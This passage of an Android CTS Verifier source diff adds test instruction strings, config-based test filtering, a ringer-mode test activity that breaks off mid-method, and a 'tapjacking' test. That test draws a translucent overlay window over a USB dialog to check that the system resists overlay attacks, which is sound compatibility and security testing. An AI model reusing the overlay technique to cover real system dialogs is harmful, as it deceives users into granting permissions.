+    <string name="test_access_ringer_mode">Test access ringer mode</string>
+    <string name="test_ringer_mode_policy_access">Test ringer mode policy access</string>
+    <string name="test_volume_dnd_affected_stream">Test volume change</string>
+    <string name="test_mute_dnd_affected_streams">Test mute streams</string>
+    <string name="test_ringer_manager">Test RingtoneManager</string>
+    <string name="enable_sound_effects">Please enable sound effects in Sound settings.</string>
+
     <string name="attention_ready">I\'m done</string>
+    <string name="attention_filter_any">Please enable \"Do not disturb\" by tapping the Quick Settings tile.</string>
     <string name="attention_filter_all">Please disable \"Do not disturb\" by tapping the Quick Settings tile.</string>
     <string name="attention_filter_priority">Please select \"Priority only\" in the dialog that appears
         when you tap the \"Do not disturb\" tile in Quick Settings, and customize the setting to allow messages from
         starred contacts only by tapping "More settings".</string>
+    <string name="attention_filter_alarms">Please select \"Alarms only\" in the dialog that appears
+        when you tap the \"Do not disturb\" tile in Quick Settings.</string>
     <string name="attention_filter_none">Please select \"Total silence\" in the dialog that appears
         when you tap the \"Do not disturb\" tile in Quick Settings.</string>
     <string name="attention_create_contacts">Create contacts for notification annotations.</string>
@@ -1539,6 +1575,8 @@
         under Apps > Gear Icon > Default > Notification Assistant and return here.</string>
     <string name="nls_enable_service">Please enable \"Notification Listener for CTS Verifier\"
         under Apps > Gear Icon > Special Access > Notification Access and return here.</string>
+    <string name="nls_cannot_enable_service">Please make sure you cannot enable
+        \"Notification Listener for CTS Verifier\" and return here.</string>
     <string name="nls_disable_service">Please disable \"Notification Listener for CTS Verifier\"
         under Apps > Gear Icon > Special Access > Notification Access and return here.</string>
     <string name="nls_start_settings">Launch Settings</string>
@@ -1568,10 +1606,11 @@
     <string name="nas_note_missed_enqueued">Check that notification was not enqueued.</string>
     <string name="cp_test">Condition Provider test</string>
     <string name="cp_service_name">Condition Provider for CTS Verifier</string>
-    <string name="cp_info">This test checks that a ConditionProviderService can be enabled
+    <string name="cp_info">This test checks that on non-low ram a ConditionProviderService can be enabled
         and disabled, and that once enabled the service is able to create, query, edit, and delete
-        automatic zen rules.
+        automatic zen rules. On low ram devices condition providers should not be bound.
     </string>
+    <string name="cp_cannot_enable_service">Please make sure you cannot enable \"CTS Verifier\" under Do Not Disturb access and return here.</string>
     <string name="cp_enable_service">Please enable \"CTS Verifier\" under Do Not Disturb access and return here.</string>
     <string name="cp_disable_service">Please disable \"CTS Verifier\" under Do Not Disturb access and return here.</string>
     <string name="cp_start_settings">Launch Settings</string>
@@ -1692,7 +1731,7 @@
         2. If \'Cts Verifier\' is not allowed to install apps, a warning dialog will appear
         blocking the install. In this case go to step 3, else skip to step 4.\n
         3. Allow \'Cts Verifier\' to install apps. Return to package installer.\n
-        4. Accept the package and verify that it installs.
+        4. Accept the installation and verify that it succeeds (no error message is displayed).
     </string>
 
     <string name="provisioning_byod_nonmarket_deny">Disable non-market apps</string>
@@ -1758,6 +1797,66 @@
     <string name="provisioning_byod_lockscreen_bound_key">Lockscreen-bound key test</string>
     <string name="provisioning_byod_fingerprint_bound_key">Fingerprint-bound key test</string>
     <string name="provisioning_byod_vpn">VPN test</string>
+    <string name="provisioning_byod_always_on_vpn">Always-on VPN Settings</string>
+    <string name="provisioning_byod_always_on_vpn_info">
+        In this test, you\'ll verify that the Settings UI for always-on VPN is correct for different
+        VPN apps.
+    </string>
+    <string name="provisioning_byod_always_on_vpn_instruction">
+        In this test, you\'ll verify the Settings UI for always-on VPN for different VPN apps.
+        You should have received three VPN app apks with this CTS Verifier package.
+        They\'re named in the form of \"CtsVpnFirewallApp*.apk\".\n
+
+        1. Before the test, make sure CtsVpnFirewallApp isn\'t installed on your device. You can
+           uninstall either by UI, or by\n
+           \"adb uninstall com.android.cts.vpnfirewall\"\n
+
+        2. Install the first test app, by running\n
+           \"adb install /path/to/CtsVpnFirewallAppApi23.apk\"\n
+
+        3. Tap \"Prepare VPN\" button below and consent to the VPN connection.\n
+
+        4. Finish all three test cases listed below.\n
+
+        5. Repeat step 1 to remove CtsVpnFirewallApp.
+    </string>
+    <string name="provisioning_byod_always_on_vpn_prepare_button">Prepare VPN</string>
+    <string name="provisioning_byod_always_on_vpn_vpn_not_found_note">
+        Can\'t find VPN app. Did you install it correctly?
+    </string>
+    <string name="provisioning_byod_always_on_vpn_api23">VPN app targeting SDK 23</string>
+    <string name="provisioning_byod_always_on_vpn_api23_instruction">
+        1. Re-install CtsVpnFirewallAppApi23.apk (skip this if you already have the correct version
+           installed):\n
+           \"adb install -r /path/to/CtsVpnFirewallAppApi23.apk\"\n
+        2. Tap \"Go\" button below to go to the VPN settings page.\n
+        3. Open configuration details page for CtsVpnFirewallApp.\n
+        4. Confirm the \"Always-on VPN\" and \"Block connections without VPN\" switches are both off
+           and disabled.\n
+    </string>
+    <string name="provisioning_byod_always_on_vpn_api24">VPN app targeting SDK 24</string>
+    <string name="provisioning_byod_always_on_vpn_api24_instruction">
+        1. Re-install CtsVpnFirewallAppApi24.apk (skip this if you already have the correct version
+           installed):\n
+           \"adb install -r /path/to/CtsVpnFirewallAppApi24.apk\"\n
+        2. Tap \"Go\" button below to go to the VPN settings page.\n
+        3. Open configuration details page for CtsVpnFirewallApp.\n
+        4. Confirm\n
+           4.1. \"Always-on VPN\" switch is enabled and in off position\n
+           4.2. \"Block connections without VPN\" switch is disabled and in off position\n
+           4.3. \"Block connections without VPN\" becomes enabled once the \"Always-on VPN\" switch
+                is turned on\n
+    </string>
+    <string name="provisioning_byod_always_on_vpn_not_always_on">VPN app with opt-out</string>
+    <string name="provisioning_byod_always_on_vpn_not_always_on_instruction">
+        1. Re-install CtsVpnFirewallAppNotAlwaysOn.apk (skip this if you already have the correct
+           version installed):\n
+           \"adb install -r /path/to/CtsVpnFirewallAppNotAlwaysOn.apk\"\n
+        2. Tap \"Go\" button below to go to the VPN settings page.\n
+        3. Open configuration details page for CtsVpnFirewallApp.\n
+        4. Confirm the \"Always-on VPN\" and \"Block connections without VPN\" switches are both off
+           and disabled.\n
+    </string>
     <string name="provisioning_byod_select_work_challenge">Select work lock test</string>
     <string name="provisioning_byod_select_work_challenge_description">
         This test verifies that a work lock can be chosen.\n
@@ -1793,7 +1892,8 @@
         This test verifies that if a work profile is locked with a separate password, Recents views
         for applications in the work profile are redacted.\n
         Some devices may not lock as soon as the screen is turned off by default. On such devices,
-        use the button below when requested to lock the work profile.
+        use the button below when requested to lock the work profile. Please skip these tests if
+        "Recents" is absent.
     </string>
     <string name="provisioning_byod_recents_lock_now">Lock now</string>
 
@@ -1953,7 +2053,10 @@
     <string name="device_admin_keyguard_disable_camera">Disable camera</string>
     <string name="device_admin_keyguard_disable_camera_instruction">
         Please press the Go button to lock the screen. Expected result is you cannot
-        see the camera icon on the lower right corner of the screen, or if there is one, you cannot open the camera using it before you are asked for a password.
+        see the camera icon on the lower right corner of the screen, or if there is one, you cannot
+        open the camera using it before you are asked for a password.\n
+        Also, it shouldn\'t be possible to open the camera on the lockscreen by
+        any other device specific gesture (such as double press on power button).
     </string>
     <string name="device_admin_disable_notifications">Disable notifications</string>
     <string name="device_admin_disable_notifications_instruction">
@@ -2460,7 +2563,9 @@
         Please do the following:\n
         1) Open and fully expand Quick Settings.\n
         2) Verify that at the bottom of Quick Settings, you are not told the device is managed.\n
-        3) Close Quick Settings.
+        3) Close Quick Settings.\n
+        \n
+        If this device does not have quick settings, please skip this test and mark it passing
     </string>
     <string name="enterprise_privacy_keyguard_negative">Keyguard disclosure</string>
     <string name="enterprise_privacy_keyguard_negative_info">
@@ -2862,7 +2967,10 @@
     <string name="disallow_config_mobile_networks">Disallow config mobile networks</string>
     <string name="disallow_config_mobile_networks_action">Configuring mobile networks</string>
     <string name="disallow_config_tethering">Disallow config tethering</string>
-    <string name="disallow_config_tethering_action">Configuring tethering and portable hotspots</string>
+    <string name="disallow_config_tethering_action">
+        Configuring tethering and portable hotspots.\n
+        NOTE: If the device does not support tethering please skip this test and mark it as passing.\n
+    </string>
     <string name="disallow_config_wifi">Disallow config Wi-Fi</string>
     <string name="disallow_config_wifi_action">Modifying Wi-Fi configuration</string>
     <string name="disallow_debugging_features">Disallow debugging features</string>
@@ -2880,7 +2988,7 @@
     <string name="disallow_outgoing_beam">Disallow outgoing beam</string>
     <string name="disallow_outgoing_beam_action">Switching on android beam</string>
     <string name="disallow_remove_user">Disallow remove user</string>
-    <string name="disallow_remove_user_action">Removing other users</string>
+    <string name="disallow_remove_user_action">Removing other users (please create a user and attempt to remove it to verify)</string>
     <string name="disallow_remove_managed_profile">Disallow remove managed profile</string>
     <string name="disallow_remove_managed_profile_action">Removing the work profile. It shouldn\'t be possible neither from the Accounts screen nor the Device Administrators screen (after selecting the Device Administrator that corresponds to the badged version of \"CTS Verifier\")</string>
     <string name="disallow_share_location">Disallow share location</string>
@@ -3188,7 +3296,7 @@
         10) Tap the \"Learn more\" link.\n
         11) Verify that a screen informing you what your managing organization can do is shown.\n
         \n
-        Use the Back button to return to this page.
+        Use the Back button to return to this page. If this device does not have quick settings, please skip this test and mark it passing.
     </string>
     <string name="enterprise_privacy_keyguard">Keyguard disclosure</string>
     <string name="enterprise_privacy_keyguard_info">
@@ -3236,6 +3344,8 @@
         9) Close the dialog.\n
         10) Tap the right button below to disable network logging.\n
         11) Verify that the notification disappeared.\n
+        \n
+        If this device does not have quick settings, please skip this test and mark it passing.
     </string>
     <string name="device_owner_enable_network_logging_button">Enable Network Logging</string>
     <string name="device_owner_disable_network_logging_button">Disable Network Logging</string>
diff --git a/apps/CtsVerifier/res/xml/accessory_filter.xml b/apps/CtsVerifier/res/xml/accessory_filter.xml
index 4a1d779..ee25a0e 100644
--- a/apps/CtsVerifier/res/xml/accessory_filter.xml
+++ b/apps/CtsVerifier/res/xml/accessory_filter.xml
@@ -14,5 +14,6 @@
      limitations under the License.
 -->
 <resources>
-    <usb-accessory />
+    <usb-accessory manufacturer="Android CTS" model="Android CTS test companion device"
+        version="2" />
 </resources>
\ No newline at end of file
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/ManifestTestListAdapter.java b/apps/CtsVerifier/src/com/android/cts/verifier/ManifestTestListAdapter.java
index 44e2e0f..a339a43 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/ManifestTestListAdapter.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/ManifestTestListAdapter.java
@@ -22,6 +22,7 @@
 import android.content.pm.PackageManager;
 import android.content.pm.ResolveInfo;
 import android.os.Bundle;
+import android.telephony.TelephonyManager;
 import android.util.Log;
 import android.widget.ListView;
 
@@ -99,6 +100,10 @@
 
     private static final String TEST_APPLICABLE_FEATURES_META_DATA = "test_applicable_features";
 
+    private static final String TEST_REQUIRED_CONFIG_META_DATA = "test_required_configs";
+
+    private static final String CONFIG_VOICE_CAPABLE = "config_voice_capable";
+
     private final HashSet<String> mDisabledTests;
 
     private Context mContext;
@@ -188,10 +193,11 @@
             String testName = info.activityInfo.name;
             Intent intent = getActivityIntent(info.activityInfo);
             String[] requiredFeatures = getRequiredFeatures(info.activityInfo.metaData);
+            String[] requiredConfigs = getRequiredConfigs(info.activityInfo.metaData);
             String[] excludedFeatures = getExcludedFeatures(info.activityInfo.metaData);
             String[] applicableFeatures = getApplicableFeatures(info.activityInfo.metaData);
             TestListItem item = TestListItem.newTest(title, testName, intent, requiredFeatures,
-                    excludedFeatures, applicableFeatures);
+                     requiredConfigs, excludedFeatures, applicableFeatures);
 
             String testCategory = getTestCategory(mContext, info.activityInfo.metaData);
             addTestToCategory(testsByCategory, testCategory, item);
@@ -229,6 +235,19 @@
         }
     }
 
+    static String[] getRequiredConfigs(Bundle metaData) {
+        if (metaData == null) {
+            return null;
+        } else {
+            String value = metaData.getString(TEST_REQUIRED_CONFIG_META_DATA);
+            if (value == null) {
+                return null;
+            } else {
+                return value.split(":");
+            }
+        }
+    }
+
     static String[] getExcludedFeatures(Bundle metaData) {
         if (metaData == null) {
             return null;
@@ -305,10 +324,29 @@
         return true;
     }
 
+    private boolean matchAllConfigs(String[] configs) {
+        if (configs != null) {
+            TelephonyManager telephonyManager =
+                    (TelephonyManager) mContext.getSystemService(Context.TELEPHONY_SERVICE);
+            for (String config : configs) {
+                switch(config) {
+                    case CONFIG_VOICE_CAPABLE:
+                        if (!telephonyManager.isVoiceCapable()) {
+                            return false;
+                        }
+                    default:
+                        break;
+                }
+            }
+        }
+        return true;
+    }
+
     List<TestListItem> filterTests(List<TestListItem> tests) {
         List<TestListItem> filteredTests = new ArrayList<TestListItem>();
         for (TestListItem test : tests) {
-            if (!hasAnyFeature(test.excludedFeatures) && hasAllFeatures(test.requiredFeatures)) {
+            if (!hasAnyFeature(test.excludedFeatures) && hasAllFeatures(test.requiredFeatures)
+                    && matchAllConfigs(test.requiredConfigs)) {
                 if (test.applicableFeatures == null || hasAnyFeature(test.applicableFeatures)) {
                     filteredTests.add(test);
                 }
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/TestListAdapter.java b/apps/CtsVerifier/src/com/android/cts/verifier/TestListAdapter.java
index 642b951..d9ea84f 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/TestListAdapter.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/TestListAdapter.java
@@ -91,6 +91,9 @@
         /** Features necessary to run this test. */
         final String[] requiredFeatures;
 
+        /** Configs necessary to run this test. */
+        final String[] requiredConfigs;
+
         /** Features such that, if any present, the test gets excluded from being shown. */
         final String[] excludedFeatures;
 
@@ -117,20 +120,27 @@
         }
 
         public static TestListItem newTest(String title, String testName, Intent intent,
+                String[] requiredFeatures, String[] requiredConfigs, String[] excludedFeatures,
+                String[] applicableFeatures) {
+            return new TestListItem(title, testName, intent, requiredFeatures, requiredConfigs,
+                    excludedFeatures, applicableFeatures);
+        }
+
+        public static TestListItem newTest(String title, String testName, Intent intent,
                 String[] requiredFeatures, String[] excludedFeatures, String[] applicableFeatures) {
-            return new TestListItem(title, testName, intent, requiredFeatures, excludedFeatures,
+            return new TestListItem(title, testName, intent, requiredFeatures, null, excludedFeatures,
                     applicableFeatures);
         }
 
         public static TestListItem newTest(String title, String testName, Intent intent,
                 String[] requiredFeatures, String[] excludedFeatures) {
-            return new TestListItem(title, testName, intent, requiredFeatures, excludedFeatures,
+            return new TestListItem(title, testName, intent, requiredFeatures, null, excludedFeatures,
                     null);
         }
 
         public static TestListItem newTest(String title, String testName, Intent intent,
                 String[] requiredFeatures) {
-            return new TestListItem(title, testName, intent, requiredFeatures, null, null);
+            return new TestListItem(title, testName, intent, requiredFeatures, null, null, null);
         }
 
         public static TestListItem newCategory(Context context, int titleResId) {
@@ -138,15 +148,22 @@
         }
 
         public static TestListItem newCategory(String title) {
-            return new TestListItem(title, null, null, null, null, null);
+            return new TestListItem(title, null, null, null, null, null, null);
         }
 
         protected TestListItem(String title, String testName, Intent intent,
                 String[] requiredFeatures, String[] excludedFeatures, String[] applicableFeatures) {
+            this(title, testName, intent, requiredFeatures, null, excludedFeatures, applicableFeatures);
+        }
+
+        protected TestListItem(String title, String testName, Intent intent,
+                String[] requiredFeatures, String[] requiredConfigs, String[] excludedFeatures,
+                String[] applicableFeatures) {
             this.title = title;
             this.testName = testName;
             this.intent = intent;
             this.requiredFeatures = requiredFeatures;
+            this.requiredConfigs = requiredConfigs;
             this.excludedFeatures = excludedFeatures;
             this.applicableFeatures = applicableFeatures;
         }
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/admin/tapjacking/UsbTest.java b/apps/CtsVerifier/src/com/android/cts/verifier/admin/tapjacking/UsbTest.java
new file mode 100644
index 0000000..17319d6
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/admin/tapjacking/UsbTest.java
@@ -0,0 +1,115 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.verifier.admin.tapjacking;
+
+import android.content.Intent;
+import android.graphics.PixelFormat;
+import android.os.Bundle;
+import android.provider.Settings;
+import android.util.TypedValue;
+import android.view.Gravity;
+import android.view.View;
+import android.view.ViewGroup;
+import android.view.WindowManager;
+import android.widget.Button;
+import android.widget.Toast;
+
+import com.android.cts.verifier.PassFailButtons;
+import com.android.cts.verifier.R;
+
+public class UsbTest extends PassFailButtons.Activity {
+    private View mOverlay;
+    private Button mTriggerOverlayButton;
+
+    public static final String LOG_TAG = "UsbTest";
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        setContentView(R.layout.tapjacking);
+        setPassFailButtonClickListeners();
+        setInfoResources(R.string.usb_tapjacking_test,
+                R.string.usb_tapjacking_test_info, -1);
+
+        //initialise the escalate button and set a listener
+        mTriggerOverlayButton = (Button) findViewById(R.id.tapjacking_btn);
+        mTriggerOverlayButton.setEnabled(true);
+        mTriggerOverlayButton.setOnClickListener(new View.OnClickListener() {
+            @Override
+            public void onClick(View v) {
+                if (!Settings.canDrawOverlays(v.getContext())) {
+                    // show settings permission
+                    startActivity(new Intent(Settings.ACTION_MANAGE_OVERLAY_PERMISSION));
+                }
+
+                if (!Settings.canDrawOverlays(v.getContext())) {
+                    Toast.makeText(v.getContext(), R.string.usb_tapjacking_error_toast2,
+                            Toast.LENGTH_LONG).show();
+                    return;
+                }
+                showOverlay();
+            }
+        });
+    }
+
+    private void showOverlay() {
+        if (mOverlay != null)
+            return;
+
+        WindowManager windowManager = (WindowManager) getApplicationContext().
+                getSystemService(WINDOW_SERVICE);
+        WindowManager.LayoutParams layoutParams = new WindowManager.LayoutParams(
+                WindowManager.LayoutParams.TYPE_APPLICATION_OVERLAY,
+                WindowManager.LayoutParams.FLAG_FULLSCREEN
+                        | WindowManager.LayoutParams.FLAG_NOT_TOUCH_MODAL
+                        | WindowManager.LayoutParams.FLAG_NOT_FOCUSABLE
+                        | WindowManager.LayoutParams.FLAG_NOT_TOUCHABLE
+                        | WindowManager.LayoutParams.FLAG_HARDWARE_ACCELERATED
+        );
+        layoutParams.format = PixelFormat.TRANSLUCENT;
+        layoutParams.width = ViewGroup.LayoutParams.MATCH_PARENT;
+        layoutParams.height = ViewGroup.LayoutParams.WRAP_CONTENT;
+        layoutParams.x = 0;
+        layoutParams.y = dipToPx(-46);
+        layoutParams.gravity = Gravity.CENTER;
+        layoutParams.windowAnimations = 0;
+
+        mOverlay = View.inflate(getApplicationContext(), R.layout.usb_tapjacking_overlay,
+                null);
+        windowManager.addView(mOverlay, layoutParams);
+    }
+
+    private void hideOverlay() {
+        if (mOverlay != null) {
+            WindowManager windowManager = (WindowManager) getApplicationContext().getSystemService(
+                    WINDOW_SERVICE);
+            windowManager.removeViewImmediate(mOverlay);
+            mOverlay = null;
+        }
+    }
+
+    private int dipToPx(int dip) {
+        return Math.round(TypedValue.applyDimension(TypedValue.COMPLEX_UNIT_DIP, dip,
+                getResources().getDisplayMetrics()));
+    }
+
+    @Override
+    public void onStop() {
+        super.onStop();
+        hideOverlay();
+    }
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/RingerModeActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/RingerModeActivity.java
new file mode 100644
index 0000000..b6e744e
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/audio/RingerModeActivity.java
@@ -0,0 +1,1135 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.verifier.audio;
+
+
+import static android.media.AudioManager.ADJUST_LOWER;
+import static android.media.AudioManager.ADJUST_RAISE;
+import static android.media.AudioManager.ADJUST_SAME;
+import static android.media.AudioManager.RINGER_MODE_NORMAL;
+import static android.media.AudioManager.RINGER_MODE_SILENT;
+import static android.media.AudioManager.RINGER_MODE_VIBRATE;
+import static android.media.AudioManager.STREAM_MUSIC;
+import static android.media.AudioManager.USE_DEFAULT_STREAM_TYPE;
+import static android.media.AudioManager.VIBRATE_SETTING_OFF;
+import static android.media.AudioManager.VIBRATE_SETTING_ON;
+import static android.media.AudioManager.VIBRATE_SETTING_ONLY_SILENT;
+import static android.media.AudioManager.VIBRATE_TYPE_NOTIFICATION;
+import static android.media.AudioManager.VIBRATE_TYPE_RINGER;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertTrue;
+
+import android.app.ActivityManager;
+import android.content.Context;
+import android.content.pm.PackageManager;
+import android.content.res.Resources;
+import android.media.AudioManager;
+import android.media.MediaPlayer;
+import android.os.Bundle;
+import android.os.Vibrator;
+import android.provider.Settings;
+import android.util.Log;
+import android.view.SoundEffectConstants;
+import android.view.View;
+import android.view.ViewGroup;
+
+import com.android.cts.verifier.R;
+import com.android.cts.verifier.notifications.InteractiveVerifierActivity;
+
+import java.util.ArrayList;
+import java.util.List;
+
+/**
+ * Contains tests that require {@link AudioManager#getRingerMode()} to be in a particular starting
+ * state. Only runs on {@link ActivityManager#isLowRamDevice()} devices that don't support
+ * {@link android.service.notification.ConditionProviderService}. Otherwise the tests live in
+ * AudioManagerTests in non-verifier cts.
+ */
+public class RingerModeActivity extends InteractiveVerifierActivity {
+    private static final String TAG = "RingerModeActivity";
+
+    private final static String PKG = "com.android.cts.verifier";
+    private final static long TIME_TO_PLAY = 2000;
+    private final static int MP3_TO_PLAY = R.raw.testmp3;
+    private final static int ASYNC_TIMING_TOLERANCE_MS = 50;
+
+    private AudioManager mAudioManager;
+    private boolean mHasVibrator;
+    private boolean mUseFixedVolume;
+    private boolean mIsTelevision;
+    private boolean mIsSingleVolume;
+    private boolean mSkipRingerTests;
+
+    @Override
+    protected int getTitleResource() {
+        return R.string.ringer_mode_tests;
+    }
+
+    @Override
+    protected int getInstructionsResource() {
+        return R.string.ringer_mode_info;
+    }
+
+    protected void onCreate(Bundle savedState) {
+        super.onCreate(savedState);
+        mAudioManager = (AudioManager) mContext.getSystemService(Context.AUDIO_SERVICE);
+        Vibrator vibrator = (Vibrator) mContext.getSystemService(Context.VIBRATOR_SERVICE);
+        mHasVibrator = (vibrator != null) && vibrator.hasVibrator();
+        mUseFixedVolume = mContext.getResources().getBoolean(
+                Resources.getSystem().getIdentifier("config_useFixedVolume", "bool", "android"));
+        PackageManager packageManager = mContext.getPackageManager();
+        mIsTelevision = packageManager != null
+                && (packageManager.hasSystemFeature(PackageManager.FEATURE_LEANBACK)
+                || packageManager.hasSystemFeature(PackageManager.FEATURE_TELEVISION));
+        mIsSingleVolume = mContext.getResources().getBoolean(
+                Resources.getSystem().getIdentifier("config_single_volume", "bool", "android"));
+        mSkipRingerTests = mUseFixedVolume || mIsTelevision || mIsSingleVolume;
+    }
+
+    // Test Setup
+
+    @Override
+    protected List<InteractiveTestCase> createTestItems() {
+        List<InteractiveTestCase> tests = new ArrayList<>();
+        if (supportsConditionProviders()) {
+            tests.add(new PassTest());
+            return tests;
+        }
+        tests.add(new SetModeAllTest());
+        tests.add(new SetModeAlarmsTest());
+        tests.add(new TestAccessRingerModeDndOn());
+        tests.add(new TestVibrateNotificationDndOn());
+        tests.add(new TestVibrateRingerDndOn());
+        tests.add(new TestSetRingerModePolicyAccessDndOn());
+        tests.add(new TestVolumeDndAffectedStreamDndOn());
+        tests.add(new TestAdjustVolumeInAlarmsOnlyMode());
+
+        tests.add(new SetModeAllTest());
+        tests.add(new TestAccessRingerMode());
+        tests.add(new TestVibrateNotification());
+        tests.add(new TestVibrateRinger());
+        tests.add(new TestSetRingerModePolicyAccess());
+        tests.add(new TestVolumeDndAffectedStream());
+        tests.add(new TestVolume());
+        tests.add(new TestMuteStreams());
+        tests.add(new EnableSoundEffects());
+        tests.add(new TestSoundEffects());
+        return tests;
+    }
+
+    private boolean supportsConditionProviders() {
+        ActivityManager am = (ActivityManager) mContext.getSystemService(Context.ACTIVITY_SERVICE);
+        return !am.isLowRamDevice()
+                || mContext.getPackageManager().hasSystemFeature(PackageManager.FEATURE_WATCH);
+    }
+
+    private int getVolumeDelta(int volume) {
+        return 1;
+    }
+
+    private boolean hasAudioOutput() {
+        return mContext.getPackageManager().hasSystemFeature(PackageManager.FEATURE_AUDIO_OUTPUT);
+    }
+
+    private void testStreamMuting(int stream) {
+        mAudioManager.adjustStreamVolume(stream, AudioManager.ADJUST_MUTE, 0);
+        assertTrue("Muting stream " + stream + " failed.",
+                mAudioManager.isStreamMute(stream));
+
+        mAudioManager.adjustStreamVolume(stream, AudioManager.ADJUST_UNMUTE, 0);
+        assertFalse("Unmuting stream " + stream + " failed.",
+                mAudioManager.isStreamMute(stream));
+
+        mAudioManager.adjustStreamVolume(stream, AudioManager.ADJUST_TOGGLE_MUTE, 0);
+        assertTrue("Toggling mute on stream " + stream + " failed.",
+                mAudioManager.isStreamMute(stream));
+
+        mAudioManager.adjustStreamVolume(stream, AudioManager.ADJUST_TOGGLE_MUTE, 0);
+        assertFalse("Toggling mute on stream " + stream + " failed.",
+                mAudioManager.isStreamMute(stream));
+
+        mAudioManager.setStreamMute(stream, true);
+        assertTrue("Muting stream " + stream + " using setStreamMute failed",
+                mAudioManager.isStreamMute(stream));
+
+        // mute it three more times to verify the ref counting is gone.
+        mAudioManager.setStreamMute(stream, true);
+        mAudioManager.setStreamMute(stream, true);
+        mAudioManager.setStreamMute(stream, true);
+
+        mAudioManager.setStreamMute(stream, false);
+        assertFalse("Unmuting stream " + stream + " using setStreamMute failed.",
+                mAudioManager.isStreamMute(stream));
+    }
+
+    // Tests
+
+    protected class PassTest extends InteractiveTestCase {
+        @Override
+        protected View inflate(ViewGroup parent) {
+            return createRetryItem(parent, R.string.ringer_mode_pass_test);
+        }
+
+        @Override
+        protected void test() {
+           status = PASS;
+        }
+    }
+
+
+    protected class SetModeAllTest extends InteractiveTestCase {
+        @Override
+        protected View inflate(ViewGroup parent) {
+            return createRetryItem(parent, R.string.attention_filter_all);
+        }
+
+        @Override
+        protected void test() {
+            if (mUserVerified) {
+                status = PASS;
+            } else {
+                status = WAIT_FOR_USER;
+            }
+        }
+
+        @Override
+        protected void tearDown() {
+            mAudioManager.setStreamVolume(AudioManager.STREAM_MUSIC, 1, 0);
+            delay();
+        }
+    }
+
+    protected class SetModeAlarmsTest extends InteractiveTestCase {
+        @Override
+        protected View inflate(ViewGroup parent) {
+            return createRetryItem(parent, R.string.attention_filter_alarms);
+        }
+
+        @Override
+        protected void test() {
+            if (mUserVerified) {
+                status = PASS;
+            } else {
+                status = WAIT_FOR_USER;
+            }
+        }
+
+        @Override
+        protected void tearDown() {
+            mAudioManager.setStreamVolume(AudioManager.STREAM_MUSIC, 1, 0);
+            delay();
+        }
+    }
+
+    protected class EnableSoundEffects extends InteractiveTestCase {
+
+        @Override
+        protected View inflate(ViewGroup parent) {
+            return createRetryItem(parent, R.string.enable_sound_effects);
+        }
+
+        @Override
+        protected void test() {
+            if (mUserVerified) {
+                status = PASS;
+            } else {
+                status = WAIT_FOR_USER;
+            }
+        }
+
+        @Override
+        protected void tearDown() {
+            delay();
+        }
+    }
+
+    protected class TestSoundEffects extends InteractiveTestCase {
+        @Override
+        protected View inflate(ViewGroup parent) {
+            return createAutoItem(parent, R.string.test_sound_effects);
+        }
+
+        @Override
+        protected void test() {
+            // should hear sound after loadSoundEffects() called.
+            mAudioManager.loadSoundEffects();
+            try {
+                Thread.sleep(TIME_TO_PLAY);
+            } catch (InterruptedException e) {
+                e.printStackTrace();
+            }
+            float volume = 13;
+            mAudioManager.playSoundEffect(SoundEffectConstants.CLICK);
+            mAudioManager.playSoundEffect(AudioManager.FX_FOCUS_NAVIGATION_UP);
+            mAudioManager.playSoundEffect(AudioManager.FX_FOCUS_NAVIGATION_DOWN);
+            mAudioManager.playSoundEffect(AudioManager.FX_FOCUS_NAVIGATION_LEFT);
+            mAudioManager.playSoundEffect(AudioManager.FX_FOCUS_NAVIGATION_RIGHT);
+
+            mAudioManager.playSoundEffect(AudioManager.FX_FOCUS_NAVIGATION_UP, volume);
+            mAudioManager.playSoundEffect(AudioManager.FX_FOCUS_NAVIGATION_DOWN, volume);
+            mAudioManager.playSoundEffect(AudioManager.FX_FOCUS_NAVIGATION_LEFT, volume);
+            mAudioManager.playSoundEffect(AudioManager.FX_FOCUS_NAVIGATION_RIGHT, volume);
+
+            // won't hear sound after unloadSoundEffects() called();
+            mAudioManager.unloadSoundEffects();
+            mAudioManager.playSoundEffect(AudioManager.FX_KEY_CLICK);
+            mAudioManager.playSoundEffect(AudioManager.FX_FOCUS_NAVIGATION_UP);
+            mAudioManager.playSoundEffect(AudioManager.FX_FOCUS_NAVIGATION_DOWN);
+            mAudioManager.playSoundEffect(AudioManager.FX_FOCUS_NAVIGATION_LEFT);
+            mAudioManager.playSoundEffect(AudioManager.FX_FOCUS_NAVIGATION_RIGHT);
+
+            mAudioManager.playSoundEffect(AudioManager.FX_FOCUS_NAVIGATION_UP, volume);
+            mAudioManager.playSoundEffect(AudioManager.FX_FOCUS_NAVIGATION_DOWN, volume);
